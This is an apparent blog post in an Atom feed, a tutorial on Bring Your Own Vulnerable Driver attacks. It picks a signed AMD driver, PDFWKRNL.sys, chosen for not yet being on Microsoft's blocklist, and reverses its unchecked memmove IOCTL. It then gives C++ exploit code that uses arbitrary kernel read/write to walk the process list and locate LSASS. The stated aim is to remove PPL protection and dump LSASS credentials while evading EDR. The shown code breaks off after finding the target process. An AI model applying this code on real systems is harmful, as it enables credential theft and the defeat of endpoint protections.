<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://g3tsyst3m.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://g3tsyst3m.com/" rel="alternate" type="text/html" /><updated>2026-06-01T16:56:08+00:00</updated><id>https://g3tsyst3m.com/feed.xml</id><title type="html">G3tSyst3m’s Infosec Blog</title><subtitle>Security Researcher and Enthusiast. I&apos;m fairly low profile, but share useful info from time to time. Red Team wannabe</subtitle><author><name>R.B.C (g3tsyst3m)</name></author><entry><title type="html">BYOVD and Looting LSASS in the Modern EDR Era</title><link href="https://g3tsyst3m.com/byovd/BYOVD-and-Looting-LSASS-in-the-Modern-EDR-Era/" rel="alternate" type="text/html" title="BYOVD and Looting LSASS in the Modern EDR Era" /><published>2026-05-29T00:00:00+00:00</published><updated>2026-05-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/byovd/BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era</id><content type="html" xml:base="https://g3tsyst3m.com/byovd/BYOVD-and-Looting-LSASS-in-the-Modern-EDR-Era/"><![CDATA[<p>I still remember when Mimikatz dropped in 2011. It was a wild time in offensive security, and a period where a single tool could expose fundamental weaknesses in Windows credential handling and force the entire ecosystem to level up. Features like Protected Process Light (PPL), hardened LSASS protections, and vastly improved ETW telemetry didn’t emerge in a vacuum; they were, in part, Microsoft’s response to researchers openly demonstrating just how broken things were. It was an era defined by deep technical curiosity and creative problem-solving on both sides of the fence, and this was long before AI entered the chat.</p>

<p>Leaping ahead to 2026, the end goal remains the same, but the path to get there has shifted drastically.  What was once a simple matter of tossing mimikatz onto a machine and scraping the freely available, cleartext wdigest creds, has become a more involved process.  Now, we’re faced with a few unique but not all too unfamiliar challenges.  Here are just a few off the top of my head:</p>

<ul>
  <li>We need to evade or in some cases neutralize EDR ,though I’m of the opinion the latter is much noisier of an option</li>
  <li>Processes like the coveted <code class="language-plaintext highlighter-rouge">LSASS</code> now have PPL protection and the many usermode tools that can be used to bypass PPL are heavily signatured</li>
  <li>Many offsec tools are flagged in general and need to be ran in-memory, using many preferred techniques by yours truly such as an in-memory PE loader</li>
  <li>Vulnerable driver blacklists and HVCI</li>
</ul>

<p>In cases like the one we’re facing, we traditionally would turn to BYOVD.  Well, I can say not much has changed there, though we will need to get creative in either locating a completely new, undiscovered driver vulnerability.  Or, you could be lazy like me and find a driver that has already been discovered and just use that, albeit a version that hasn’t been caught by the blocklist yet 😸</p>

<p>In today’s post, we will be uncovering the internals of kernel driver vulnerabilities and how to leverage them via the <code class="language-plaintext highlighter-rouge">BYOVD</code> (Bring Your Own Vulnerable Driver) method of attack. We will use kernel access to disable PPL for the LSASS process and then proceed to dump the process to disk, XOR’ing it beforehand so it avoids detection by popular EDR solutions.  Let’s begin!</p>

<h2 id="finding-a-signed-driver-thats-not-on-the-microsoft-blocklist">Finding a Signed Driver that’s not on the Microsoft Blocklist</h2>

<p>I basically start at <strong>loldrivers.io</strong> or <strong>malshare.com</strong> and download a few drivers to see if they raised a flag concerning the Microsoft Vulnerable Driver Blocklist detection.  Also just FYI, I  have all the necessary security controls enabled beforehand that should prevent this particular driver from loading, such as:</p>

<p><img width="898" height="677" alt="image" src="https://github.com/user-attachments/assets/0640b218-3619-47cc-a4d6-d55ff14c6f2a" /><img width="586" height="701" alt="image" src="https://github.com/user-attachments/assets/61ad5e67-a9fd-4e24-9f83-ff0ce8ec423b" /><img width="492" height="447" alt="image" src="https://github.com/user-attachments/assets/8a921097-5b96-4631-b0ad-83e287b13137" /><img width="528" height="756" alt="image" src="https://github.com/user-attachments/assets/250862e9-05db-4ed3-a7a0-5258d4aff722" /></p>

<p>I decided on <strong>PDFWKRNL.sys</strong>, which is vulnerable to a host of vulnerabilities such as a read and write memory primitive, thus making this driver a great candidate for overwriting our PPL value in LSASS to 0x00 effectively neutralizing PPL.  You want to try out different versions of the vulnerable driver.  I cannot stress that enough! Just because the driver is known by microsoft as a known flagged driver, doesn’t mean every working version will be flagged.  That brings me to my next point: If we scroll down this page a bit, you’ll find the version of the driver with sha256 hash value: <strong>6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402</strong></p>

<p><a href="https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/f0db5af13c457a299a64cf524c64b042.bin">PDFWKRNL.sys</a></p>

<p><img width="1354" height="754" alt="image" src="https://github.com/user-attachments/assets/8e6aec82-16ce-4b5e-a58f-e6d14a298418" /></p>

<p>That’s the driver I am using for this post that is yet to be flagged by Microsoft’s block list 😼  Credit where credit is due.  I learned a lot from hfiref0x’s KDU repo: <a href="https://github.com/hfiref0x/KDU">KDU</a></p>

<p>I tested a few drivers using that tool before I decided to produce my own code to load the vulnerable <strong>PDFWKRNL.sys</strong> driver.  I admittedly borrowed from the previously discovered IOCTL code and symlink name for the driver, but then to better understand how this vulnerability was discovered, I took to binary ninja to explore for myself!</p>

<h2 id="the-inner-workings-of-pdfwkrnlsys">The Inner workings of PDFWKRNL.sys</h2>

<p><strong>Step 1 — Tracing IOCTL 0x80002014 through the dispatch table</strong></p>

<p>We know from KDU’s previously researched info that the IOCTL code we are concerned with is <strong>0x80002014</strong>.  Let’s start with <strong>sub_140001000</strong>, which calculates both the IOCTL and the function that should be called based on a number of calculations we will explore below.  Long story short: the IOCTL value is not in cleartext when reversing this driver 😸</p>

<p>Let’s start with how did we arrive at the <strong>0x8000</strong> value?  Here’s how it works:</p>

<p>Windows IOCTL codes are structured 32-bit values built by the <strong>CTL_CODE macro</strong>:</p>

<ul>
  <li>bits 31-16  device type    (<strong>0x8000 here</strong>)</li>
  <li>bits 15-14  required access</li>
  <li>bits 13- 2  function code  (the meaningful part)</li>
  <li>bits  1- 0  transfer method (buffered/direct/neither)</li>
</ul>

<p>Moreover, we can see this info in Binary Ninja.  That information, including the device name, just so happens to be in cleartext and doesn’t have to be deciphered!</p>

<p><img width="901" height="392" alt="image" src="https://github.com/user-attachments/assets/4a730dcc-cdd6-4ad1-9136-f70d3c356bd3" /></p>

<p><strong>So again…How did we arrive at value 0x8000 for the start of our IOCTL code?</strong></p>

<p>Microsoft reserves device types below <strong>0x8000</strong> for official Windows device types (FILE_DEVICE_DISK, FILE_DEVICE_KEYBOARD, FILE_DEVICE_UNKNOWN, etc.).</p>

<p>Third-party vendors (like AMD) must use values <strong>0x8000</strong> and above for their custom device types.  <strong>0x8000</strong> is the most common value used by many vendors for custom/software-only drivers. It’s essentially saying: “This is a vendor-defined device type”.</p>

<p><strong>How about 0x2000 after the 0x8000?</strong></p>

<p>Glad you asked 😺</p>

<p>This value is calculated, borrowing from the two’s complement of the constant in the instruction.  This took me FOREVER to figure out which is kind of embarrassing and humbling for me lol!</p>

<p>The instruction is add eax, 0x7fffe000. Adding a constant is the same as subtracting its two’s complement negation:</p>

<p>~0x7fffe000 + 1
  = 0x80001fff + 1
  = 0x80002000</p>

<p><img width="909" height="497" alt="image" src="https://github.com/user-attachments/assets/3908a492-1a62-4810-8cc5-12122602ef19" /></p>

<p>So <strong>add eax, 0x7fffe000</strong> in 32-bit arithmetic is identical to <strong>sub eax, 0x80002000</strong></p>

<p>Next, there’s the final 0x14.  How did we arrive at that?  That’s the case value we’re looking for that points to the memory write primitive!</p>

<p><img width="670" height="346" alt="image" src="https://github.com/user-attachments/assets/369b1257-7ce3-4764-bfe4-343883ae12cd" /></p>

<p><strong>Why this is a vulnerability?</strong></p>

<p>There is zero validation.  No ProbeForRead/ProbeForWrite, no canonical address check, no bounds check. Any process that can open <strong>\.\PdFwKrnl</strong> gets a ring-0 <strong>memmove</strong> with fully attacker-controlled src, dst, and size:</p>

<ul>
  <li>Read primitive: dst = usermode buffer, src = any kernel VA → copies kernel memory to userspace</li>
  <li>Write primitive: dst = any kernel VA, src = usermode payload → overwrites arbitrary kernel memory</li>
</ul>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1400012</span><span class="n">ae</span>                            <span class="nf">sub_1400016c0</span><span class="p">(</span>
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">MasterIrp</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">),</span> 
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">MasterIrp</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span> 
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">MasterIrp</span><span class="p">[</span><span class="mh">0xa</span><span class="p">]);</span>
<span class="mi">1400012</span><span class="n">b3</span>                            <span class="n">arg2</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span> <span class="o">=</span> <span class="mh">0x30</span><span class="p">;</span>
</code></pre></div></div>

<p>I am forever appreciative of the original research that went into discovering the IOCTL value.  It would have taken me a very long time to discover that on my own, I can assure you 😸  But yeah, that’s the general breakdown on how this driver vulnerability plays out and why it’s a great candidate for BYOVD and removing PPL protection on LSASS.  Now, on to the next best part, the code!</p>

<h2 id="code-for-the-ppl-removal--exploit-harness-for-pdfwkrnlsys">Code for the PPL Removal / Exploit Harness for PDFWKRNL.sys</h2>

<p>It’s time for the highly anticipated code portion of this post!  Let’s go head and get started.  We will begin with defining the IOCTL value we wish to work with, as well as the 0x48 byte structure which is required for the IOCTL check. the 0x30 in the screenshot below is the buffer check of 0x30 or 48 in decimal, followed by the memcpy/memmove values!</p>

<p><img width="765" height="441" alt="image" src="https://github.com/user-attachments/assets/104c5429-31ca-4b24-b5fe-8d0c6f8bb6d4" /></p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x28</span><span class="p">]</span>   <span class="c1">; size  ← BufAmdCopy.size   (32-bit read, upper 32 bits of u64 discarded)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x18</span><span class="p">]</span>   <span class="c1">; src   ← BufAmdCopy.src</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>   <span class="c1">; dst   ← BufAmdCopy.dst</span>
<span class="nf">call</span> <span class="nv">sub_1400016c0</span>           <span class="c1">; memmove(dst, src, size)</span>
</code></pre></div></div>

<p>Microsoft x64 calling convention: <strong>rcx=arg1, rdx=arg2, r8=arg3</strong>.  This is exactly <strong>memmove(dst, src, size)</strong> with all three values coming unmodified from the usermode-supplied buffer. No sanitization between the jne and the call!</p>

<p>Now let’s plug those values into our code:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;psapi.h&gt;</span><span class="cp">
</span>
<span class="cp">#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")
</span>
<span class="c1">// --- AMD PDFW (PdFwKrnl) Specifics ---</span>
<span class="cp">#define IOCTL_AMDPDFW_MEMCPY 0x80002014 //our IOCTL value
</span>
<span class="c1">// This structure MUST be exactly 48 bytes</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PDFW_MEMCPY</span> <span class="p">{</span>
    <span class="n">BYTE</span>  <span class="n">Reserved</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>   <span class="c1">// 0x00 - 0x0F</span>
    <span class="n">PVOID</span> <span class="n">Destination</span><span class="p">;</span>    <span class="c1">// 0x10 &lt;--</span>
    <span class="n">PVOID</span> <span class="n">Source</span><span class="p">;</span>         <span class="c1">// 0x18 &lt;--</span>
    <span class="n">PVOID</span> <span class="n">Reserved2</span><span class="p">;</span>      <span class="c1">// 0x20</span>
    <span class="n">DWORD</span> <span class="n">Size</span><span class="p">;</span>           <span class="c1">// 0x28 &lt;--</span>
    <span class="n">DWORD</span> <span class="n">Reserved3</span><span class="p">;</span>      <span class="c1">// 0x2C</span>
<span class="p">}</span> <span class="n">PDFW_MEMCPY</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPDFW_MEMCPY</span><span class="p">;</span>
</code></pre></div></div>

<p>Next up, we need to find the kernel offsets for the version of Windows this driver would be running on.  In my case, Windows 11 25h2.  Here are the values I pulled, and I’ll also show how I retrieved them.
It’s incredibly annoying having to debug in kernel mode, turning on debugging using bcdedit and restarting the machine.  Let’s make life easier for ourselves.  I just reverse engineer <strong>ntoskrnl.exe</strong> and do a static search for the <strong>_EPROCESS</strong> type.  Easy peezy!</p>

<p><img width="816" height="728" alt="image" src="https://github.com/user-attachments/assets/f49f882a-59da-441a-9303-f65396db1731" /></p>

<p>Our first two values are clearly visible!  Next, just scroll down a bit to reach ImageFileNameOffset and then ProtectionOffset:</p>

<p><img width="693" height="123" alt="image" src="https://github.com/user-attachments/assets/80216119-ebcd-42f2-8ea1-3f4f763ba9c5" /></p>

<p><img width="598" height="105" alt="image" src="https://github.com/user-attachments/assets/f059d358-0d03-4ceb-a2ad-c713277513fe" /></p>

<p>Now we just make our own struct to include those values, like so:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">KernelOffsets</span> <span class="p">{</span>
    <span class="n">ULONG64</span> <span class="n">UniqueProcessIdOffset</span> <span class="o">=</span> <span class="mh">0x1D0</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ActiveProcessLinksOffset</span> <span class="o">=</span> <span class="mh">0x1D8</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ImageFileNameOffset</span> <span class="o">=</span> <span class="mh">0x338</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ProtectionOffset</span> <span class="o">=</span> <span class="mh">0x5FA</span><span class="p">;</span> <span class="c1">// Offset for Build 26200</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Ok that’s the part that a lot of people could use a refresher on.  The next part I’m not going to spend as much time explaining.  We basically setup the memory read and write functions.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="n">hDriver</span> <span class="o">=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">;</span>
<span class="n">KernelOffsets</span> <span class="n">Offsets</span><span class="p">;</span>

<span class="c1">// --- AMD PDFW Driver Communication ---</span>

<span class="kt">bool</span> <span class="nf">Amd_ReadMemory</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">PDFW_MEMCPY</span> <span class="n">request</span><span class="p">;</span>
    <span class="n">RtlSecureZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">));</span>

    <span class="n">request</span><span class="p">.</span><span class="n">Destination</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">;</span>           <span class="c1">// Where we want the data (our local buffer)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Source</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">Address</span><span class="p">;</span>        <span class="c1">// Where the data is (kernel address)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">Size</span><span class="p">;</span>

    <span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">IOCTL_AMDPDFW_MEMCPY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">bool</span> <span class="nf">Amd_WriteMemory</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">PDFW_MEMCPY</span> <span class="n">request</span><span class="p">;</span>
    <span class="n">RtlSecureZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">));</span>

    <span class="n">request</span><span class="p">.</span><span class="n">Destination</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">Address</span><span class="p">;</span>   <span class="c1">// Where we want to write (kernel address)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Source</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">;</span>                <span class="c1">// What we want to write (our local buffer)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">Size</span><span class="p">;</span>

    <span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">IOCTL_AMDPDFW_MEMCPY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Helper wrapper for 64-bit reads</span>
<span class="n">DWORD64</span> <span class="nf">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DWORD64</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span> <span class="k">return</span> <span class="n">val</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Next up, we need to setup a function to locate the PsInitialSystemProcess Offset.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG64</span> <span class="nf">GetSystemEproc</span><span class="p">(</span><span class="n">ULONG64</span> <span class="n">ntosBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HMODULE</span> <span class="n">ntos</span> <span class="o">=</span> <span class="n">LoadLibraryExA</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">DONT_RESOLVE_DLL_REFERENCES</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ntos</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">DWORD64</span> <span class="n">addrInLocal</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">ntos</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>
    <span class="n">DWORD64</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">addrInLocal</span> <span class="o">-</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">ntos</span><span class="p">;</span>
    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">ntos</span><span class="p">);</span>

    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] PsInitialSystemProcess Offset: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">offset</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">ntosBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now for the obligatory main function, which includes an argument parameter for our LSASS pid and the file handle to our driver in question:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Usage: "</span> <span class="o">&lt;&lt;</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">" &lt;Target PID&gt;"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">DWORD</span> <span class="n">targetPid</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">stoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Connect to Driver</span>
    <span class="n">hDriver</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span><span class="s">L"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">Global</span><span class="se">\\</span><span class="s">PdFwKrnl"</span><span class="p">,</span> <span class="n">GENERIC_READ</span> <span class="o">|</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">hDriver</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to open handle to PdFwKrnl. Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Connected to AMD PDFW Driver."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

<p>We’re close now, basically at the home stretch!  😸  We just need to locate the kernel base <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> and the <strong>EPROCESS</strong> address.  Then, we need cycle through all the processes and locate <strong>LSASS</strong>!</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Get Kernel Base</span>
 <span class="n">ULONG64</span> <span class="n">ntosBase</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
 <span class="n">LPVOID</span> <span class="n">drivers</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
 <span class="n">DWORD</span> <span class="n">cb</span><span class="p">;</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">EnumDeviceDrivers</span><span class="p">(</span><span class="n">drivers</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">drivers</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cb</span><span class="p">))</span> <span class="n">ntosBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">drivers</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] ntoskrnl.exe Base: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">ntosBase</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="n">ULONG64</span> <span class="n">systemEproc</span> <span class="o">=</span> <span class="n">GetSystemEproc</span><span class="p">(</span><span class="n">ntosBase</span><span class="p">);</span>
 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">systemEproc</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] Failed to read System EPROCESS. Communication failed."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] System EPROCESS: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">systemEproc</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="c1">// Iterate Process List</span>
 <span class="n">DWORD64</span> <span class="n">listHead</span> <span class="o">=</span> <span class="n">systemEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">;</span>
 <span class="n">DWORD64</span> <span class="n">currentFlink</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">listHead</span><span class="p">);</span>
 <span class="kt">bool</span> <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>

 <span class="k">while</span> <span class="p">(</span><span class="n">currentFlink</span> <span class="o">!=</span> <span class="n">listHead</span> <span class="o">&amp;&amp;</span> <span class="n">currentFlink</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">DWORD64</span> <span class="n">currentEproc</span> <span class="o">=</span> <span class="n">currentFlink</span> <span class="o">-</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">;</span>
     <span class="n">DWORD64</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">UniqueProcessIdOffset</span><span class="p">);</span>

     <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">==</span> <span class="n">targetPid</span><span class="p">)</span> <span class="p">{</span>
         <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
         <span class="n">BYTE</span> <span class="n">prot</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
         <span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ImageFileNameOffset</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="mi">15</span><span class="p">);</span>
         <span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ProtectionOffset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">prot</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

         <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[+] Found Target: "</span> <span class="o">&lt;&lt;</span> <span class="n">name</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</code></pre></div></div>

